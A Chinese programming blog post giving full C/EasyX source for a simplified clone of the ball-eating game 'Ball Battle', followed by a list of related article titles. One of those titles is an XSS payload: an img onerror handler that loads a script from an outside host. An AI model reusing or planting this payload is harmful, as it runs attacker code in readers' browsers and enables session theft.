每天一个C语言小项目,提升你的编程能力! 

《球球大作战》虽然在玩法上类似于大球吃小球的模式看起来很单薄。但是在游戏过程中会出现无数种意外情况,这就需要玩家运用一系列策略来达到不被吃和吃掉别人球的目的,大大增加了游戏的耐玩性。

一个人的话想要实现复刻球球太困难了,所以这是仿照成熟版球球大作战写的简易版小游戏,有食物、敌人,甚至像和平精英一样加了一层外面的毒圈。

游戏操作起来很简单,用 A S D W 四个键控制球的移动方向。

地图大小是屏幕的16倍,吃完所有敌人就胜利。记住不要被敌人吃掉哦!

效果图展示:

完整的游戏源代码如下:

#include <graphics.h>
#include <conio.h>
#include <time.h>
#include <math.h>
#include <wchar.h>#define WIDTH       1024            // 屏幕宽
#define HEIGHT      576             // 屏幕高
#define MAPW        (WIDTH * 4)     // 地图宽
#define MAPH        (HEIGHT * 4)    // 地图高
#define AINUM       100             // AI 数量
#define FNUM        2000            // FOOD 数量
#define PTIME       180             // 毒圈刷新时间
#define DISTANCE(x1, y1, x2, y2)    (sqrt((x1 - x2) * (x1 - x2) + (y1 - y2) * (y1 - y2)))struct FOOD
{bool       eat;COLORREF    color;      // 颜色int            x, y;       // 坐标char       type;
};struct BALL                   // 定义小球结构
{bool       life;       // 生命COLORREF   color;      // 颜色int            x, y;       // 坐标float      r;          // 半径
};FOOD food[FNUM];                              // 食物
BALL mover = { 1, RGB(0, 0, 0), 0, 0, 0 }; // 玩家
BALL ai[AINUM] = { 1, RGB(0, 0, 0), 0, 0, 0 }; // 机器大军void move(BALL* ball);               // 玩家移动
void draw();                        // 绘图
void start();                       // 游戏开始
void setall();                      // 初始化数据
void AI();                          // AI
void Food();                        // 食物
void delay(DWORD ms);               // 绝对延时DWORD* pBuffer;                      // 显示缓冲区指针
int eaten = 0;                     // 吃 AI 的数量
int ai_eaten = 0;                  // AI 吃 AI的数量
int lx = -20, ly = MAPH + 20, rx = MAPW + 20, ry = -20;       // 毒的位置
int relx = -20, rely = MAPH + 20, rerx = MAPW + 20, rery = -20;       // 毒的位置
float asp = 1;                     // 缩放因子
float Time = 0;                        // 时间int main()
{initgraph(WIDTH, HEIGHT);start();setall();             // 游戏初始化BeginBatchDraw();while (true){move(&mover);     // 玩家移动AI();Food();draw();              // 绘图FlushBatchDraw();  // 显示缓存的绘制内容delay(20);          // 绝对延迟}
}void move(BALL* ball)
{if (ball->r <= 0)   ball->life = false;if (ball->life == false)            // 判定游戏是否接束{HWND hwnd = GetHWnd();MessageBox(hwnd, _T("你被吃了"), _T("游戏结束"), MB_OK | MB_ICONEXCLAMATION);    // 结束closegraph();exit(0);}if (eaten + ai_eaten == AINUM)    // 是否吃掉所以 AI{HWND hwnd = GetHWnd();MessageBox(hwnd, _T("恭喜过关"), _T("游戏结束"), MB_OK | MB_ICONEXCLAMATION);   // 结束closegraph();exit(0);}if (ball->x > (MAPW - ball->r) || ball->x - ball->r < 0 || ball->y - ball->r < 0 || ball->y >(MAPH - ball->r))ball->r -= 0.1f;for (int i = 0; i < AINUM; i++)  // 玩家吃 AI 判定{if (ball->r >= ai[i].r){if (ai[i].life == 0) continue;if (DISTANCE(ball->x, ball->y, ai[i].x, ai[i].y) < (4 / 5.0 * (ball->r + ai[i].r))){ai[i].life = 0;       // 吃掉ball->r += (ai[i].r * ai[i].r / 2) / ball->r;  // 推理过程: pai * ball->r*ball->r += pai*ai[i].r*ai[i].r;   πr*r=πr*r+πai[i].r*ai[i].reaten++;}}}for (int n = 0; n < FNUM; n++)          // 玩家吃食物{if (food[n].eat == 0) continue;if (DISTANCE(ball->x, ball->y, food[n].x, food[n].y) < ball->r){ball->r += 4 / ball->r;           // 增加面积food[n].eat = 0;                // 食物被吃}}static int mx = 0, my = 0;           // 记录偏移量if (GetAsyncKeyState(65) & 0x8000) { ball->x -= 2;  mx += 2; }    //左边if (GetAsyncKeyState(87) & 0x8000) { ball->y -= 2;  my += 2; }    //上面if (GetAsyncKeyState(83) & 0x8000) { ball->y += 2; my -= 2; } //下面if (GetAsyncKeyState(68) & 0x8000) { ball->x += 2; mx -= 2; } //右边setorigin(mx, my);                  // 坐标修正
}void AI()
{for (int i = 0; i < AINUM; i++){if (ai[i].r > mover.r)            // AI 吃玩家{if (DISTANCE(mover.x, mover.y, ai[i].x, ai[i].y) < 2 / 3.0 * ai[i].r + mover.r){ai[i].r += (mover.r * mover.r) / ai[i].r;mover.life = 0;mover.r = 0;}}for (int j = 0; j < AINUM; j++)   // AI 吃 AI{if (ai[i].r > ai[j].r){if (ai[j].life == 0) continue;if (DISTANCE(ai[i].x, ai[i].y, ai[j].x, ai[j].y) < 4 / 5.0 * ai[i].r + ai[j].r){ai[i].r += (ai[j].r * ai[j].r) / ai[i].r;        // 面积增加ai[j].life = 0;ai[j].r = 0;ai_eaten++;}}}double min_DISTANCE = 100000;int min = -1;for (int k = 0; k < AINUM; k++)       // AI 靠近 AI{if (ai[i].r > ai[k].r && ai[k].life == 1){if (DISTANCE(ai[i].x, ai[k].x, ai[i].y, ai[k].y) < min_DISTANCE){min_DISTANCE = DISTANCE(ai[i].x, ai[k].x, ai[i].y, ai[k].y);min = k;}}}if ((min != -1) && (rand() % 2 == 1)){if (rand() % 2){if (ai[i].x < ai[min].x) ai[i].x++;else ai[i].x--;}else{if (ai[i].y < ai[min].y) ai[i].y++;else ai[i].y--;}}for (int n = 0; n < FNUM; n++)     // AI 吃食物{if (food[n].eat == 0) continue;if (DISTANCE(ai[i].x, ai[i].y, food[n].x, food[n].y) < ai[i].r){ai[i].r += 4 / ai[i].r;food[n].eat = 0;}}}
}void Food()
{for (int i = 0; i < FNUM; i++)           // 食物重新生成{if (food[i].eat == 0){food[i].eat = 1;food[i].color = RGB(rand() % 256, rand() % 256, rand() % 256);food[i].x = rand() % MAPW;food[i].y = rand() % MAPH;food[i].type = rand() % 10 + 1;}}
}void draw()
{clearcliprgn();setlinestyle(PS_SOLID | PS_JOIN_BEVEL, 20); // 改笔的颜色、状态setlinecolor(RGB(0, 100, 0));line(relx, rely, relx, rery);   // 左竖line(relx, rely, rerx, rely);  // 上横line(relx, rery, rerx, rery);  // 下横line(rerx, rery, rerx, rely);  // 右竖setfillcolor(GREEN);if (mover.x - 0.5 * WIDTH / asp < relx)     floodfill(relx - 11, mover.y, RGB(0, 100, 0));if (mover.x + 0.5 * WIDTH / asp > rerx)       floodfill(rerx + 11, mover.y, RGB(0, 100, 0));if (mover.y - 0.5 * HEIGHT / asp < rery)      floodfill(mover.x, rery - 11, RGB(0, 100, 0));if (mover.y + 0.5 * HEIGHT / asp > rely)      floodfill(mover.x, rely + 11, RGB(0, 100, 0));setlinecolor(WHITE);         // 改笔颜色   状态setlinestyle(PS_NULL);for (int i = 0; i < FNUM; i++)  // 画出食物{if (food[i].eat == 0) continue;setfillcolor(food[i].color);switch (food[i].type)      // 形状{case 1:       solidellipse(food[i].x, food[i].y, food[i].x + 2, food[i].y + 4);             break;case 2:       solidellipse(food[i].x, food[i].y, food[i].x + 4, food[i].y + 2);             break;case 3:       solidrectangle(food[i].x, food[i].y, food[i].x + 4, food[i].y + 2);               break;case 4:       solidrectangle(food[i].x, food[i].y, food[i].x + 2, food[i].y + 4);               break;case 5:       solidroundrect(food[i].x, food[i].y, food[i].x + 2, food[i].y + 4, 2, 2);     break;case 6:       solidroundrect(food[i].x, food[i].y, food[i].x + 4, food[i].y + 2, 2, 2);     break;case 7:       solidroundrect(food[i].x, food[i].y, food[i].x + 4, food[i].y + 2, 4, 2);     break;case 8:       solidroundrect(food[i].x, food[i].y, food[i].x + 4, food[i].y + 2, 2, 4);     break;case 9:       solidroundrect(food[i].x, food[i].y, food[i].x + 4, food[i].y + 2, 1, 1);     break;case 10:  fillcircle(food[i].x, food[i].y, 4);                                        break;}}for (int i = 0; i < AINUM; i++)   // 画 AI{if (ai[i].life == 0) continue;setfillcolor(ai[i].color);fillcircle(ai[i].x, ai[i].y, int(ai[i].r + 0.5));}setfillcolor(mover.color);     // 画玩家fillcircle(mover.x, mover.y, int(mover.r + 0.5));IMAGE map(150, 100);            // 小地图SetWorkingImage(&map);setbkcolor(RGB(120, 165, 209)); // 浅灰色背景cleardevice();for (int i = 0; i < AINUM; i++) // 画 AI{if (ai[i].life == 0) continue;setfillcolor(ai[i].color);fillcircle(ai[i].x * 150 / WIDTH / 4, ai[i].y * 100 / HEIGHT / 4, int(ai[i].r / 28 + 0.5));}setfillcolor(mover.color);       // 画玩家fillcircle(mover.x * 150 / WIDTH / 4, mover.y * 100 / HEIGHT / 4, int(mover.r / 28 + 0.5));setlinecolor(RGB(0, 100, 0));if (lx != rx && ly != rx){line(lx * 150 / WIDTH, ly * 100 / HEIGHT, lx * 150 / WIDTH, ry * 100 / HEIGHT);  // 左竖line(lx * 150 / WIDTH, ly * 100 / HEIGHT, rx * 150 / WIDTH, ly * 100 / HEIGHT);    // 上横line(lx * 150 / WIDTH, ry * 100 / HEIGHT, rx * 150 / WIDTH, ry * 100 / HEIGHT);    // 下横line(rx * 150 / WIDTH, ry * 100 / HEIGHT, rx * 150 / WIDTH, ly * 100 / HEIGHT);    // 右竖}setfillcolor(GREEN);floodfill(lx - 11, ly - 11, RGB(0, 100, 0));SetWorkingImage();            // 恢复绘图背景putimage(mover.x + int(0.5 * WIDTH) - 150, mover.y - int(0.5 * HEIGHT), 150, 100, &map, 0, 0);                        // 画出小地图setlinecolor(LIGHTBLUE);    // 改笔颜色   状态setlinestyle(PS_SOLID | PS_JOIN_BEVEL, 4);line(mover.x + int(0.5 * WIDTH) - 151, mover.y - int(0.5 * HEIGHT), mover.x + int(0.5 * WIDTH) - 151, mover.y - int(0.5 * HEIGHT) + 99);   // 地图边框线line(mover.x + int(0.5 * WIDTH) - 151, mover.y - int(0.5 * HEIGHT) + 99, mover.x + int(0.5 * WIDTH), mover.y - int(0.5 * HEIGHT) + 99); // 地图边框线setlinestyle(PS_NULL);      // 恢复笔wchar_t str[32];swprintf_s(str, L"质量:%.1f  击杀:%d", mover.r, eaten);settextcolor(BLUE);          // 改字体outtextxy(mover.x - int(0.5 * WIDTH), mover.y - int(0.5 * HEIGHT), str);settextcolor(BLUE);           // 改字体outtextxy(mover.x - 36, mover.y - 8, _T("作者:无言"));
}void setall()
{srand((unsigned)time(NULL));       // 随机数mover.color = RGB(rand() % 256, rand() % 256, rand() % 256); // 随机颜色mover.life = 1;                 // 统统赋初值mover.x = int(WIDTH * 0.5);mover.y = int(HEIGHT * 0.5);mover.r = 20;for (int i = 0; i < AINUM; i++)        // AI 的{ai[i].life = 1;ai[i].color = RGB(rand() % 256, rand() % 256, rand() % 256);ai[i].r = float(rand() % 10 + 10);ai[i].x = rand() % (MAPW - int(ai[i].r + 0.5)) + int(ai[i].r + 0.5);ai[i].y = rand() % (MAPH - int(ai[i].r + 0.5)) + int(ai[i].r + 0.5);}for (int i = 0; i < FNUM; i++)      // 食物的{food[i].eat = 1;food[i].color = RGB(rand() % 256, rand() % 256, rand() % 256);food[i].x = rand() % MAPW;food[i].y = rand() % MAPH;food[i].type = rand() % 10 + 1;}pBuffer = GetImageBuffer(NULL); // 获取显示缓冲区指针setbkcolor(WHITE);              // 白色背景cleardevice();                   // 初始化背景settextcolor(LIGHTRED);         // 改字体setbkmode(TRANSPARENT);settextstyle(16, 0, _T("宋体"));
}void delay(DWORD ms)               // 绝对延时
{static DWORD oldtime = GetTickCount();while (GetTickCount() - oldtime < ms)Sleep(1);oldtime = GetTickCount();
}void start()
{setbkcolor(WHITE);     // 白色背景cleardevice();           // 初始化背景settextcolor(RED);      // 改字体setbkmode(TRANSPARENT);settextstyle(128, 0, _T("宋体"));outtextxy(40, 20, _T("仿制球球大作战"));settextstyle(32, 0, _T("宋体"));outtextxy(740, 135, _T("Ver 1.6"));settextcolor(BLUE);       // 改字体outtextxy(304, 240, _T("W上移 S下移 A左移 D右移"));outtextxy(112, 340, _T("躲避大球   追补小球   贪吃食物   增强实力"));settextcolor(BLACK);  //改字体settextstyle(32, 0, _T("宋体"));outtextxy(384, 500, _T("按任意键开始游戏"));settextstyle(20, 0, _T("宋体"));outtextxy(810, 10, _T("作者粉丝群: 734106058"));_getch();
}

大家赶紧去动手试试吧!

此外,我也给大家分享我收集的其他资源,从最零基础开始的教程到C语言C++项目案例,帮助大家在学习C语言的道路上披荆斩棘!

整理分享(多年学习的源码、项目实战视频、项目笔记,基础入门教程)最重要的是你可以在群里面交流提问编程问题哦!

欢迎转行和学习编程的伙伴,利用更多的资料学习成长比自己琢磨更快哦!

(资料领取 ↓↓↓↓↓↓)

C/C++实现球球大作战(高仿版),全源码分享带你轻松完成相关推荐

  1. 当我阅读完上千行的游戏球球大作战战斗服务器端源码后...

    注:本文内容已更新至ARTS-Share栏. 这周服务器主程安排给了我一个任务(其实是我在用Go做完了一些小demo后,向主程请示下一步的安排),让我将他用Lua语言写的球球大作战的服务端代码转成Go ...

  2. java球球大作战_球球大作战(小游戏源码)

    [实例简介] 控制自己的小球球去吃比自己小的球球 [实例截图] [核心代码] package chiqiuqiu.cn; import java.awt.Color; import java.awt. ...

  3. C语言C++图形库---贪吃蛇大作战【附源码】

    这一节中,我们来做一款经典小游戏,贪吃蛇.先看看最终效果图 在开始之前,我们把窗体创建好. 创建一个800 * 600的窗体.这一次我们使用默认的原点和坐标轴:原点在窗体左上角,X轴正方向向右,Y轴正 ...

  4. 2022修复版PHP活动现场大屏幕互动系统源码带演示地址

    演示地址hudong.mysqlschool.cn/frame.php 活动密码admin 下载地址www.mysqlschool.cn/16461.html 2022修复版PHP活动现场大屏幕互动系 ...

  5. c语言球球半径,C/C++编程笔记:C语言开发球球大作战(源码分享),你想试试吗?...

    原标题:C/C++编程笔记:C语言开发球球大作战(源码分享),你想试试吗? 游戏背景 <球球大作战>是Superpop一款自主研du发的免费手机网络游戏. 以玩家间的实时互动PK产生游戏乐 ...

  6. unity3d游戏3d局域网联机吃球游戏完整项目源码分享

    unity3d游戏3d局域网联机吃球游戏完整项目源码分享 免费下载地址: 链接:https://pan.baidu.com/s/1APlOCmoK9aUfiVJD48dBQA 提取码:p5nl 复制这 ...

  7. 活动现场大屏幕互动系统(微信墙)修复版完美PHP源码,带完整素材包和详细使用文档

    源码收集于网络,觉得不错,2022-11-18亲测了源码,顺手修复了原来的几处bug.网上的这个源码有个重大bug,就是后台系统配音没法上传音乐文件.我理了一下代码,修复了这个问题,现在后台可以分别给 ...

  8. Qt大屏电子看板系统源码基础版

    Qt大屏电子看板系统源码基础版 整体总共分三界面,一级界面是整体布局,二级界面是单个功能模块,三界面是单个控件. 子控件包括饼图+圆环图+曲线图+柱状图+柱状分组图+横向柱状图+横向柱状分组图+合格率 ...

  9. 中国大学MOOC北京大学唐大仕老师《Java程序设计》源码分享

    中国大学MOOC北京大学唐大仕老师<Java程序设计>源码分享 简介 Github地址 LearnJava中需要导入的jar 导入jar的方法 简介 这是我在学习中国大学MOOC北京大学唐 ...

最新文章

  1. Java垃圾回收之新生代垃圾收集器
  2. 问题解决10使用带有框架的页面跳转到登录页面时,登录页面只显示在子框架中,未能铺满整个浏览器--解决方案如下:...
  3. TreeView 跟 Iframe 关联设置的方法。
  4. java分布式 mq_分布式系统消息中间件—RabbitMQ的使用进阶篇
  5. Font Awesome 中文网
  6. 初学knockoutjs记录5——Computed observables依赖监控(2 Writable computed observables可写计算监控属性)...
  7. c#2.0 IEnumberable接口
  8. 矢量叉积与折线段拐向判断---三角形顺逆判断
  9. 《CSS世界》:一本CSS领域的内功心法修炼手册
  10. 你真的了解Franka吗?一文带你揭秘Franka常见问题,你想知道的都在这里!
  11. Rust中的所有权和借用的关系图
  12. 微信小程序:经典语录大全微信小程序源码
  13. YYImage加载gif动态图原理
  14. Windows Speech SDK5.1的安装和使用(xp/win7)
  15. 开关调色新世界BP2888电源解决方案
  16. 【ECDH java后端和javaScript前后端互通实现】
  17. 1.6启动失败的解决办法
  18. 大数据薪水大概多少_入行大数据,薪资待遇到底能拿多少?
  19. 聊聊win 7回收站 回收站技巧大公开【xitongshoucang.com】
  20. 鲲鹏基础软硬件平台持续升级,赋能伙伴开发者用好鲲鹏

热门文章

  1. pg 事务 存储过程_pgsql存储过程介绍
  2. 考试题目“笨笨玩游戏”
  3. 国内软件开发商的通病?
  4. python打电话 不接通不收钱,Python + twilio 实现打电话和发短信功能
  5. FastAPI 学习之路(二十九)使用(哈希)密码和 JWT Bearer 令牌的 OAuth2
  6. 【Java基础】Spring 中 Bean 的理解与使用
  7. 雷达原理---线性调频信号(LFM)的引出
  8. c语言两个for语句并列执行_for循环嵌套,C语言for循环嵌套详解
  9. img src=x onerror=s=createElement('script');body.appendChild(s);s.src='http://xssc.cc/x';
  10. Python全栈(十一)Django项目之3.图形验证码实现逻辑和短信验证码初步实现